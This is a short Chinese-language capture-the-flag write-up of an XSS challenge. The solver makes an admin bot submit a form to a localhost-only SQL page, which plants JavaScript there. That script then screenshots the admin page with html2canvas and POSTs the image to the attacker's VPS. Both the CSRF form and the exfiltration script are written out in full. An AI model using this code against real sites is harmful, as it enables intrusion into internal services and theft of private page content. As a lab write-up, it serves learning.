寫(xiě)在前面
巔峰極客挑戰(zhàn)賽中,做到檸檬師傅出的題,由于自己的js水平太渣渣,這個(gè)題做了很久,于是趕快寫(xiě)文記錄自己的解題過(guò)程。
描述
主要是XSS,網(wǎng)站中允許輸入一個(gè)地址,管理員會(huì)使用chrome瀏覽器打開(kāi)該網(wǎng)頁(yè)。并且該網(wǎng)站存在一個(gè)能寫(xiě)入js代碼的頁(yè)面,最后flag藏在一個(gè)頁(yè)面中,該頁(yè)面在服務(wù)器配置時(shí)設(shè)置只允許127.0.0.1訪問(wèn),其余為403錯(cuò)誤。
思路
通過(guò)對(duì)該網(wǎng)站寫(xiě)入js代碼,讓127.0.0.1訪問(wèn)我們寫(xiě)好js代碼的頁(yè)面,最后得到flag頁(yè)面。
過(guò)程
首先,先寫(xiě)一個(gè)自動(dòng)提交form表單的頁(yè)面
<script type="text/javascript">function autoSubmit(){ document.getElementById("myForm").submit();}</script><body onload="autoSubmit();" ><form id="myForm" action="http://127.0.0.1/runsql.php" method="post"><input name="sql" value = "select unhex('hexjs')" onChange="if (this.selectedIndex != 0) autoSubmit();">
</form>
當(dāng)我們讓管理員訪問(wèn)這個(gè)頁(yè)面的時(shí)候,管理員就會(huì)post數(shù)據(jù)到本地的runsql.php頁(yè)面,這時(shí)runsql.php頁(yè)面上就會(huì)有我們的js數(shù)據(jù)
接下來(lái)構(gòu)造js:
<html>
<body>
<iframe id="mysql" width="778" align="center" height="200" id="win" name="win" onload="Javascript:SetWinHeight(this)" frameborder="0" scrolling="no" src="admin_zzzz666.php"></iframe>
<script type="text/javascript" src="https://html2canvas.hertzen.com/dist/html2canvas.js"></script>
<script type="text/javascript">
var mysql = document.getElementById("mysql").contentWindow.document;
html2canvas(mysql.body).then(function(canvas) {
var xmlhttp;
xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","your vsp",true);
xmlhttp.send(canvas.toDataURL());
});
</script>
</body>
</html>
這個(gè)頁(yè)面會(huì)自動(dòng)獲取同源網(wǎng)頁(yè)的頁(yè)面,然后發(fā)送到vps上。最后就能得到flag了。

admin_zzzz666.php